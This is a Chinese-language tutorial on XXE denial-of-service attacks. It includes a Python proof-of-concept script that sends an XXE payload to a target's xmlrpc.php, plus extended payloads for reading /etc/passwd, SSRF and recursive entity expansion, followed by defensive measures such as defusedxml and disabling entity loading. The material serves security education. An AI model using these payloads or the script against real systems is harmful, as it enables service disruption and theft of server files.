XXE的DOS攻击POC
字数 1317 2025-08-18 11:38:22
XXE DoS攻击原理与POC分析
1. XXE漏洞概述
XXE(XML External Entity)即XML外部实体注入漏洞,是一种针对XML处理器的安全漏洞。攻击者通过构造恶意的XML文档,利用外部实体引用功能读取服务器上的敏感文件或发起拒绝服务攻击(DoS)。
2. XXE DoS攻击原理
XXE DoS攻击的核心是利用XML处理器解析外部实体时的资源消耗特性:
- 实体扩展攻击:通过定义递归引用的实体,导致XML处理器在解析时陷入无限循环
- 外部实体加载:强制服务器加载大文件或远程资源,消耗系统资源
- 内存耗尽:精心构造的实体声明可以导致内存耗尽
3. POC代码分析
3.1 代码结构
# -*- coding:utf-8 -*-
import urllib.request
import urllib.parse
import urllib
import sys
import hashlib
def poc(domain):
headers = {} #消息头信息
target = "%s/xmlrpc.php" % domain
payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "a">%remote;]
>"""
post_data = payload
#POST提交测试代码
try:
req = urllib.request.Request(target, data = urllib.parse.urlencode(post_data).encode("UTF-8"), method= "POST")
response = urllib.request.urlopen(req)
s = "well formed" #找到命令执行后的回显
if response:
data = response.read()
data = str(data, encoding = "utf-8")
#print(data)
if data.find("well formed") != -1: #获得了证明漏洞存在的回显
print("likely - XXE DoS\n")
except Exception as e:
print("Running Wrong...")
print(e)
def main():
args = sys.argv
url = ""
if len(args) == 2:
url = args[1]
poc(url)
else:
print("Usage: python %s url" % (args[0]))
if __name__ == "__main__":
main()
3.2 关键组件解析
-
payload构造:
- 定义了一个DOCTYPE声明
- 声明了一个外部实体
remote,尝试从系统加载资源"a" - 立即引用该实体
%remote;
-
请求发送:
- 使用urllib库构造POST请求
- 目标URL为
domain/xmlrpc.php - 将payload作为POST数据发送
-
漏洞检测:
- 检查响应中是否包含"well formed"字符串
- 如果存在则认为可能存在XXE漏洞
4. 攻击场景分析
4.1 目标系统
- 针对使用XML-RPC接口的系统(如WordPress的xmlrpc.php)
- 任何接受XML输入且未正确配置XML解析器的Web应用
4.2 攻击效果
- 服务拒绝:通过资源耗尽使目标服务不可用
- 信息泄露:可读取服务器上的敏感文件(本POC未展示此功能)
- 服务器端请求伪造(SSRF):通过外部实体发起内部网络请求
5. 防御措施
5.1 代码层面
# 安全XML解析示例
from defusedxml.ElementTree import parse
# 使用安全的XML解析器
tree = parse('example.xml')
5.2 配置层面
-
禁用外部实体处理:
- PHP:
libxml_disable_entity_loader(true); - Java:
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
- PHP:
-
使用白名单验证输入
-
使用更安全的数据格式如JSON
5.3 服务器层面
- 限制XML文档大小
- 监控异常资源消耗
- 及时更新XML处理库
6. 扩展攻击向量
- 文件读取:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
- SSRF攻击:
<!ENTITY xxe SYSTEM "http://internal.server/secret">
- 递归实体攻击:
<!ENTITY % a "<!ENTITY % b '&a;'>">
7. 检测与验证
-
手动检测:
- 修改Content-Type为
application/xml - 发送包含实体声明的XML数据
- 修改Content-Type为
-
自动化工具:
- OWASP ZAP
- Burp Suite Scanner
- XXEinjector
8. 相关资源
- OWASP XXE防护指南:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
- XXE漏洞深度解析:https://portswigger.net/web-security/xxe
- Tide安全团队官网:http://www.TideSec.net
通过理解此POC的工作原理,安全人员可以更好地防御XXE攻击,开发人员也能编写更安全的XML处理代码。